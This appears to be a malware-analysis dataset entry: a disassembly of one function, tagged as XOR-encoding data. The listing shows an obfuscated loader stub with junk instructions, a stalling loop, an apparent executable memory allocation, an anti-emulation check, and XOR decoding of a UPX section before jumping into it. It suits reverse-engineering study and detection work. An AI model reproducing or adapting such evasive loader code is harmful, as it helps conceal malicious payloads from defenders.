Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xaa352e5a
not ebx
sub eax, ebx
popal
not ebx
dec eax
dec eax
mov edi, 0
mov ebx, eax
and ecx, esi
and ecx, ecx
mov edx, ebx
dec esi
or esi, ecx
mov esi, 0x66903c83
mov eax, edx
and ecx, esi
add ecx, ecx
add ecx, 0xbee61947
inc edi
mov esi, ecx
add esi, esi
sub esi, 0xf16e6a8d
cmp edi, 0x100fdaa
jne 0xa789c0
mov esi, 0x7dafc52b
sub ecx, 0x4cf8c5d2
sub esi, 1
mov ebx, eax
not eax
and eax, ebx
mov esi, 0xa78796
sub ecx, 1
mov edx, ecx
add eax, 0xf801a585
mov ebx, 0xa7898a
dec ecx
inc eax
mov edi, dword [esi]
or ecx, ecx
and eax, eax
and edi, 0xff
sub eax, 0x7260c7c
inc edx
xor dword [ebx], edi
add edx, 0xbac4cb5b
mov ecx, 0x9ca1427b
sub ecx, eax
inc ebx
or eax, ecx
not edx
mov ecx, eax
inc esi
add eax, 0x9a892501
not eax
cmp ebx, entry0
jl 0xa78a24
sub eax, 0xb11ddd71
inc edx
or edx, eax
dec eax
add eax, edx
add edx, 0x3dcc6361
sub edi, 1
mov esi, 0xa7898e
add ecx, ecx
add ecx, ebx
not ecx
mov esi, dword [esi]
mov ebx, edx
mov ebx, ecx
add edx, 0xc61fdf5c
mov esi, dword [esi]
and edi, edx
mov edx, ebx
push esi
sub ecx, 1
and edi, ebx
mov esi, 0xa7898a
add edx, 0xaa882cdb
sub edi, 0x64a5b700
mov esi, dword [esi]
sub edi, 0xe6be9a46
add ecx, ebx
mov esi, dword [esi]
sub ebx, 0x6f3f03db
add edx, 0xc6a4879c
not edx
sub esp, 4
mov dword [esp], 0xa78992
dec edi
sub ecx, ebx
call esi
dec ecx
sub edi, 0x2da0136b
not ebx
pop esi
and edi, edx
mov edi, ecx
sub esp, 4
mov dword [esp], 0xa7899f
not edi
add edx, edx
push eax
add edx, ecx
sub ebx, 0x47060d87
and ebx, edi
call esi
or edi, ebx
sub edi, ecx
and edx, edi
push 0x40
sub edx, 0xcd9be9d7
dec ebx
add ebx, 0x605f1faf
push 0x3000
or ecx, edi
and ebx, ebx
not ecx
push 0x200008b3
add edi, ecx
sub edx, ecx
push 0
add ebx, 0x994629d3
add ecx, 0xc8428a3d
not ebx
call eax
sub edx, ebx
sub ecx, 0x77eb0f0f
add eax, 0x2000081a
mov ecx, ebx
mov edx, edi
mov esi, 0xad2ad85d
and edx, ebx
add ebx, 0xf8dad7aa
mov dword [eax], esi
and ebx, edx
or ebx, ebx
mov esi, dword [eax]
sub ecx, 0xea5cce9f
add edi, 0xc4f1d53b
add edi, 0xb15a0974
cmp esi, 0xad2ad85d
je 0xa78b8c
mov eax, 0
mov dword [eax], edx
add edi, 0xba5728d2
add ecx, 0xbb43fac4
mov ecx, edi
not ebx
inc ebx
not ebx
or ebx, ebx
sub ebx, 0xe9008fa8
sub ebx, 0xbd17f73f
mov ecx, section.UPX1
sub eax, ebx
and eax, eax
sub eax, 0x6b888239
mov edx, 0xa78795
dec ebx
inc ebx
or eax, eax
mov edi, 0
mov ebx, eax
mov ebx, 0x3bdd8ac8
mov esi, 0xa78796
mov ebx, 0x7ee6ff21
inc ebx
or ebx, eax
lea esi, [edi + esi]
or eax, ebx
dec eax
mov esi, dword [esi]
sub ebx, 0xece49bcc
dec eax
and esi, 0xff
add ebx, eax
or ebx, ebx
dec eax
inc edi
add eax, 0x7111f7ca
sub eax, ebx
cmp edi, 0x1f4
jne 0xa78c0e
mov edi, 0
mov eax, ebx
dec eax
add ebx, ebx
sub ebx, eax
mov eax, 0x7aab695d
xor dword [ecx], esi
mov eax, ebx
dec ebx
add ecx, 2
sub ebx, eax
add ebx, 0x78683739
cmp ecx, edx
jl 0xa78bd1
and ebx, ebx
mov ebx, eax
and eax, eax
sub ebx, eax
mov eax, ebx
mov eax, ebx
mov edi, section.UPX1
add ecx, esi
sub ecx, esi
mov ebx, section.UPX1
add esi, 1
mov ecx, 0xb6b06168
mov eax, 0xa78795
inc ecx
not esi
mov ecx, esi
mov edx, 0
sub ecx, esi
mov esi, 0x1f656013
mov dl, byte [ebx]
add esi, ecx
mov ecx, esi
add ecx, esi
mov byte [edi], dl
sub esi, ecx
mov esi, 0x61c47d00
inc edi
and ecx, esi
sub ecx, esi
add ecx, esi
add ebx, 2
inc ecx
mov ecx, 0x96ab5165
add ecx, 1
cmp ebx, eax
jle 0xa78c70
and esi, ecx
inc esi
add esi, ecx
sub ebx, 0xb478246c
sub ebx, eax
add ebx, 0x515b9857
sub esp, 4
mov dword [esp], 0x8dc6a0
or ebx, eax
mov eax, 0x4c7f68e7
ret